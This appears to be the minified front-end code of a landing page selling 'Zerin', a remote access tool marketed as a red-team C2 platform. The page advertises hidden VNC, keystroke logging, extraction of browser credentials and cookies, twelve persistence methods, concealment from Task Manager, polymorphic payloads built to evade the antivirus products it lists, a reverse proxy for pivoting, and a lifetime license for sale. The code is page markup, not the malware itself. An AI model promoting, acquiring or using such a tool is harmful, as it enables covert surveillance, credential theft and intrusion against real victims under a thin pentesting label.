persistence mechanisms for thorough assessment coverage. Test registry keys, scheduled tasks, services, WMI, COM objects, and more.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"ACCESS",title:"Remote Desktop",desc:"Hidden desktop session for interactive access. Supports VNC and hVNC for stealthy operator control during engagements.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25A2.25 2.25 0 0 1 5.25 3h13.5A2.25 2.25 0 0 1 21 5.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CAPTURE",title:"Screen Capture",desc:"GPU-accelerated DXGI capture with dirty-rect tiling. Low-latency streaming for real-time monitoring during assessments.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CREDS",title:"Credential Auditing",desc:"Extracts stored credentials, cookies, and tokens from browsers and applications. Validates password hygiene across the target environment.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CRYPTO",title:"Encrypted C2",desc:"ChaCha20-Poly1305 encrypted communications. X25519 key exchange. TLS 1.3 transport. Zero plaintext on the wire — ever.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"SHELL",title:"Command Execution",desc:"Interactive shell with full PowerShell and CMD support. Run commands, scripts, and post-exploitation modules on target systems.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"RECON",title:"Input Monitoring",desc:"Real-time keystroke capture with window context. Logs organized by application for comprehensive assessment data.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 8.25h9m-9 3H12m-9.75 1.51c0 1.6 1.123 2.994 2.707 3.227 1.129.166 2.27.293 3.423.379.35.026.67.21.865.501L12 21l2.755-4.133a1.14 1.14 0 0 1 .865-.501 48.172 48.172 0 0 0 3.423-.379c1.584-.233 2.707-1.626 2.707-3.228V6.741c0-1.602-1.123-2.995-2.707-3.228A48.394 48.394 0 0 0 12 3c-2.392 0-4.744.175-7.043.513C3.373 3.746 2.25 5.14 2.25 6.741v6.018Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"TUNNEL",title:"SOCKS5 Proxy",desc:"Reverse SOCKS5 tunnel through the agent. Pivot into internal networks and route traffic for lateral movement testing.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})})}],TA=["Windows Defender","CrowdStrike Falcon","SentinelOne","Kaspersky","Bitdefender","Norton 360","ESET NOD32","Malwarebytes","McAfee Total","Sophos Endpoint","Trend Micro","Avast Premium","CylancePROTECT","Carbon Black","Palo Alto Cortex","Webroot"];function zs({value:e,label:t,suffix:n="",prefix:r=""}){const i=p.useRef(null),a=p.useRef(null);return p.useEffect(()=>{const o=i.current,l=a.current;if(!o||!l)return;const c=new IntersectionObserver(([u])=>{if(u.isIntersecting){let d=0;const m=Math.max(1,Math.ceil(e/40)),h=setInterval(()=>{d+=m,d>=e?(l.textContent=r+e.toLocaleString()+n,clearInterval(h)):l.textContent=r+d.toLocaleString()+n},50);c.disconnect()}},{threshold:.3});return c.observe(o),()=>c.disconnect()},[e,n,r]),s.jsxs("div",{ref:i,className:"text-center",children:[s.jsxs("div",{ref:a,className:"font-mono text-4xl md:text-5xl font-bold text-zerin-accent tabular-nums",children:[r,"0",n]}),s.jsx("div",{className:"text-zerin-text-muted text-sm mt-2 uppercase tracking-widest font-mono text-[11px]",children:t})]})}const MA=p.memo(function({name:t,delay:n}){return s.jsxs("div",{className:"flex items-center justify-between px-4 py-[7px] border-b border-[#111118] last:border-b-0 landing-scan-row",style:{animationDelay:`${n}ms`},children:[s.jsx("span",{className:"font-mono text-[12px] text-zerin-text-dim/80 truncate",children:t}),s.jsxs("span",{className:"font-mono text-[11px] tracking-wider text-emerald-400/90 flex items-center gap-1.5 flex-shrink-0",children:[s.jsx("span",{className:"w-1 h-1 rounded-full bg-emerald-400/80"}),"Clean"]})]})}),LA=p.memo(function({feature:t,index:n}){return s.jsxs("div",{className:"group relative",style:{animationDelay:`${n*80}ms`},children:[s.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 to-transparent opacity-0 group-hover:opacity-100 transition-opacity duration-500 blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/30 transition-all duration-500 p-6 h-full flex flex-col",children:[s.jsxs("div",{className:"flex items-center justify-between mb-4",children:[s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/60 uppercase",children:t.tag}),s.jsx("span",{className:"text-zerin-accent/40 group-hover:text-zerin-accent transition-colors duration-500",children:t.icon})]}),s.jsx("h3",{className:"text-zerin-text font-display font-semibold text-[15px] mb-2 group-hover:text-zerin-accent transition-colors duration-300",children:t.title}),s.jsx("p",{className:"text-zerin-text-muted text-[13px] leading-relaxed flex-1",children:t.desc}),s.jsx("div",{className:"mt-5 h-[1px] w-0 group-hover:w-full bg-gradient-to-r from-zerin-accent/50 to-transparent transition-all duration-700"})]})]})});function IA(){const e=_A("Adversary Simulation. Red Team Operations.",45,600),[t,n]=p.useState(!1),[r,i]=p.useState(null),[a,o]=p.useState(()=>!sessionStorage.getItem("zerin_beta_dismissed")),l=p.useCallback(()=>{o(!1),sessionStorage.setItem("zerin_beta_dismissed","1")},[]);p.useEffect(()=>{const u=()=>n(window.scrollY>20);return window.addEventListener("scroll",u),()=>window.removeEventListener("scroll",u)},[]);const c=p.useCallback(async u=>{if(!r){i(u);try{const d=await fetch("/api/payments/create",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({tier:u})}),f=await d.json();if(!d.ok){alert(f.error||"Failed to create payment");return}window.location.href=f.invoice_url}catch{alert("Failed to create payment. Please try again.")}finally{i(null)}}},[r]);return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[s.jsx(AA,{}),a&&s.jsxs("div",{className:"fixed inset-0 z-[100] flex items-center justify-center px-4",onClick:l,children:[s.jsx("div",{className:"absolute inset-0 bg-black/70 backdrop-blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 max-w-md w-full p-8 animate-scale-in",onClick:u=>u.stopPropagation(),children:[s.jsx("div",{className:"absolute top-0 left-0 w-3 h-3 border-t border-l border-zerin-accent/50"}),s.jsx("div",{className:"absolute top-0 right-0 w-3 h-3 border-t border-r border-zerin-accent/50"}),s.jsx("div",{className:"absolute bottom-0 left-0 w-3 h-3 border-b border-l border-zerin-accent/50"}),s.jsx("div",{className:"absolute bottom-0 right-0 w-3 h-3 border-b border-r border-zerin-accent/50"}),s.jsxs("div",{className:"flex items-center gap-2.5 mb-5",children:[s.jsx("span",{className:"w-2 h-2 rounded-full bg-amber-400 animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-amber-400/90 uppercase",children:"Beta"})]}),s.jsx("h3",{className:"font-display font-bold text-xl text-zerin-text mb-3",children:"Zerin is still in development"}),s.jsx("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-3",children:"The platform is currently in beta and not yet feature-complete. We're actively building and testing before public release."}),s.jsxs("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-6",children:["The official release will be announced on our"," ",s.jsx("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",children:"Telegram channel"}),"."]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:l,className:"flex-1 bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 text-zerin-accent font-mono text-sm py-2.5 transition-all duration-300",children:"Got it"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"flex-1 bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm py-2.5 text-center transition-all duration-300 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] flex items-center justify-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Join Telegram"]})]})]})]}),s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),s.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${t?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(ot,{to:"/features",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),s.jsx("a",{href:"#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx(ot,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),s.jsx(ot,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),s.jsxs("section",{className:"relative z-10 min-h-screen flex flex-col items-center justify-center px-6 text-center",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 border border-emerald-500/20 bg-emerald-500/5 px-4 py-1.5 mb-8 animate-fade-in",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-emerald-400 animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[11px] text-emerald-400/90 tracking-wide",children:"Advanced Red Team Framework"})]}),s.jsx("img",{src:"/zerin-logo.png",alt:"Zerin",className:"w-28 h-28 md:w-36 md:h-36 object-contain mb-6 opacity-0 animate-fade-in drop-shadow-[0_0_40px_rgba(6,182,212,0.4)]",style:{animationDelay:"200ms",animationFillMode:"forwards"}}),s.jsxs("h1",{className:"font-display font-bold text-5xl sm:text-6xl md:text-7xl lg:text-8xl tracking-tight leading-[0.95] mb-6",children:[s.jsx("span",{className:"block text-zerin-text opacity-0 animate-slide-up",children:"Next-Gen"}),s.jsx("span",{className:"block bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent opacity-0 animate-slide-up",style:{animationDelay:"150ms",animationFillMode:"forwards"},children:"Remote Access"})]}),s.jsx("div",{className:"h-8 mb-8",children:s.jsxs("span",{className:"font-mono text-lg md:text-xl text-zerin-text-muted",children:[s.jsx("span",{ref:e.spanRef}),s.jsx("span",{ref:e.cursorRef,className:"inline-block w-[2px] h-5 bg-zerin-accent ml-0.5 animate-pulse"})]})}),s.jsx("p",{className:"max-w-xl text-zerin-text-muted/80 text-[15px] leading-relaxed mb-10 opacity-0 animate-fade-in",style:{animationDelay:"800ms",animationFillMode:"forwards"},children:"Professional adversary simulation platform for red team operators and penetration testers. Encrypted C2 communications, polymorphic payload generation, and comprehensive post-exploitation capabilities."}),s.jsxs("div",{className:"flex items-center gap-4 opacity-0 animate-fade-in",style:{animationDelay:"1000ms",animationFillMode:"forwards"},children:[s.jsxs("a",{href:"#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-7 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[s.jsx("span",{className:"relative z-10",children:"Get Access"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),s.jsx(ot,{to:"/login",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-7 py-3 transition-all duration-300",children:"Sign In"})]}),s.jsxs("div",{className:"absolute bottom-10 left-1/2 -translate-x-1/2 flex flex-col items-center gap-2 opacity-0 animate-fade-in",style:{animationDelay:"1500ms",animationFillMode:"forwards"},children:[s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted/40 uppercase tracking-[0.3em]",children:"Scroll"}),s.jsx("div",{className:"w-[1px] h-8 bg-gradient-to-b from-zerin-accent/30 to-transparent animate-pulse"})]})]}),s.jsx("section",{className:"relative z-10 py-28 px-6",children:s.jsxs("div",{className:"max-w-5xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-14",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-emerald-400/70 uppercase",children:"Evasion Testing"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Built to Bypass."," ",s.jsx("span",{className:"bg-gradient-to-r from-emerald-400 to-cyan-300 bg-clip-text text-transparent",children:"Every Build Unique."})]}),s.jsx("p",{className:"text-zerin-text-muted text-[14px] mt-3 max-w-lg mx-auto",children:"Every payload is structurally unique. Polymorphic generation, encrypted strings, and dynamic API resolution — built for testing your security stack."})]}),s.jsxs("div",{className:"grid lg:grid-cols-2 gap-8 items-start",children:[s.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b] overflow-hidden",children:[s.jsxs("div",{className:"flex items-center justify-between px-5 py-3.5 border-b border-[#1a1a22] bg-[#08080c]",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 rounded-sm bg-emerald-500/10 border border-emerald-500/20 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-emerald-400",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})})}),s.jsxs("div",{children:[s.jsx("div",{className:"font-mono text-[12px] text-zerin-text font-medium",children:"zerin_agent.exe"}),s.jsx("div",{className:"font-mono text-[10px] text-zerin-text-muted",children:"SHA256: a4f8...3d7e · 487 KB"})]})]}),s.jsxs("div",{className:"text-right",children:[s.jsx("div",{className:"font-mono text-[22px] font-bold text-emerald-400 leading-none",children:"0 / 72"}),s.jsx("div",{className:"font-mono text-[9px] text-emerald-400/60 uppercase tracking-wider mt-0.5",children:"Detections"})]})]}),s.jsx("div",{className:"px-5 py-2.5 border-b border-[#1a1a22]",children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"flex-1 h-1 bg-[#111118] rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-gradient-to-r from-emerald-500 to-emerald-400 rounded-full landing-scan-bar"})}),s.jsx("span",{className:"font-mono text-[10px] text-emerald-400/80",children:"72 / 72"})]})}),s.jsx("div",{className:"max-h-[340px] overflow-y-auto custom-scrollbar",children:TA.map((u,d)=>s.jsx(MA,{name:u,delay:d*60},u))})]}),s.jsx("div",{className:"space-y-5 lg:pt-2",children:[{title:"Polymorphic Generation",desc:"Every build produces unique machine code. No two agents share the same byte sequence — tests your AV/EDR signature detection capabilities.",icon:"01"},{title:"Encrypted Strings",desc:"All strings are ChaCha20-encrypted with a per-build key. Decrypted at runtime and wiped after use. Designed to challenge static analysis tools.",icon:"02"},{title:"In-Memory Execution",desc:"Modules are loaded reflectively in memory — no disk artifacts, no loaded module list entries. Tests your EDR memory scanning capabilities.",icon:"03"},{title:"Dynamic API Resolution",desc:"Windows API calls resolved via runtime hash lookup. Clean import table — challenges import-based heuristic detection engines.",icon:"04"}].map(u=>s.jsxs("div",{className:"group flex gap-4 p-4 border border-[#1a1a22] bg-[#08080c]/50 hover:border-zerin-accent/20 transition-all duration-300",children:[s.jsx("div",{className:"flex-shrink-0 w-9 h-9 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center",children:s.jsx("span",{className:"font-mono text-[11px] text-zerin-accent/70 font-bold",children:u.icon})}),s.jsxs("div",{children:[s.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text mb-1 group-hover:text-zerin-accent transition-colors duration-300",children:u.title}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed",children:u.desc})]})]},u.icon))})]})]})}),s.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-[#1a1a22]/50",children:s.jsx("div",{className:"max-w-5xl mx-auto",children:s.jsxs("div",{className:"grid lg:grid-cols-2 gap-12 items-center",children:[s.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b]",children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b border-[#1a1a22]",children:[s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-red-500/60"}),s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-yellow-500/40"}),s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-green-500/40"}),s.jsx("span",{className:"ml-3 font-mono text-[11px] text-zerin-text-muted/50",children:"zerin@c2 ~ session"})]}),s.jsxs("div",{className:"p-5 font-mono text-[12px] leading-[1.8] space-y-0.5",children:[s.jsxs("div",{children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2",children:"stealth --deploy"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Reflective module: 48 KB"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into explorer.exe (PID 4892)... ",s.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into svchost.exe (PID 1204)... ",s.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Process concealment active"}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Hidden from: Task Manager, Process Explorer, WMI"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",s.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] Stealth mode — ",s.jsx("span",{className:"text-zerin-accent",children:"active"})]}),s.jsxs("div",{className:"mt-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2",children:"persist --install --all-methods"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Agent installed to staging directory"}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Methods: RunKey, SchTask, Startup, WMI, COM, BITS"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",s.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] 6/6 persistence methods — ",s.jsx("span",{className:"text-zerin-accent",children:"installed"})]}),s.jsxs("div",{className:"mt-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2 inline-flex items-center",children:s.jsx("span",{className:"w-[2px] h-3.5 bg-zerin-accent/60 animate-pulse"})})]})]})]}),s.jsxs("div",{children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Stealth Engine"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight mb-5",children:["Advanced"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Evasion."})]}),s.jsx("div",{className:"flex flex-wrap gap-2 mt-6",children:["Reflective Loading","API Hooking","Process Monitor","12 Persist Methods","Auto-Relocate","File Concealment"].map(u=>s.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-accent/70 border border-zerin-accent/15 bg-zerin-accent/5 px-2.5 py-1",children:u},u))})]})]})})}),s.jsx("section",{className:"relative z-10 py-24 px-6",children:s.jsxs("div",{className:"max-w-6xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-16",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Capabilities"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Everything You Need."," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"One Platform."})]})]}),s.jsx("div",{className:"grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-5 gap-[1px] bg-[#1a1a22]/30",children:OA.map((u,d)=>s.jsx(LA,{feature:u,index:d},u.tag))})]})}),s.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-b border-[#1a1a22]/50",children:s.jsxs("div",{className:"max-w-5xl mx-auto grid grid-cols-2 md:grid-cols-5 gap-10",children:[s.jsx(zs,{value:256,suffix:"-bit",label:"Encryption"}),s.jsx(zs,{value:12,suffix:"",label:"Persist Methods"}),s.jsx(zs,{value:100,suffix:"%",label:"C2 Uptime"}),s.jsx(zs,{value:0,suffix:"",label:"Disk Artifacts"}),s.jsx(zs,{value:48,suffix:"",label:"Modules"})]})}),s.jsx("section",{id:"pricing",className:"relative z-10 py-32 px-6",children:s.jsxs("div",{className:"max-w-6xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-16",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Pricing"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["One License."," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Lifetime Access."})]}),s.jsx("p",{className:"text-zerin-text-muted text-[15px] mt-4 max-w-md mx-auto",children:"No subscriptions. No recurring fees. Pay once, own it forever."})]}),s.jsxs("div",{className:"grid md:grid-cols-2 gap-6 max-w-4xl mx-auto",children:[s.jsx("div",{className:"group relative",children:s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/20 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Early Access"})]}),s.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),s.jsxs("div",{className:"px-6 pt-6 pb-4",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase mb-2",children:"WebRAT"}),s.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[s.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$75"}),s.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$150"})]}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:["Process concealment engine","Polymorphic payload generation","Persistence testing (12 methods)","Hidden VNC & remote desktop","Encrypted C2 (ChaCha20 + X25519)","Credential auditing module","SOCKS5 reverse proxy / pivoting","In-memory execution","Screen capture & input monitoring","All future updates included"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 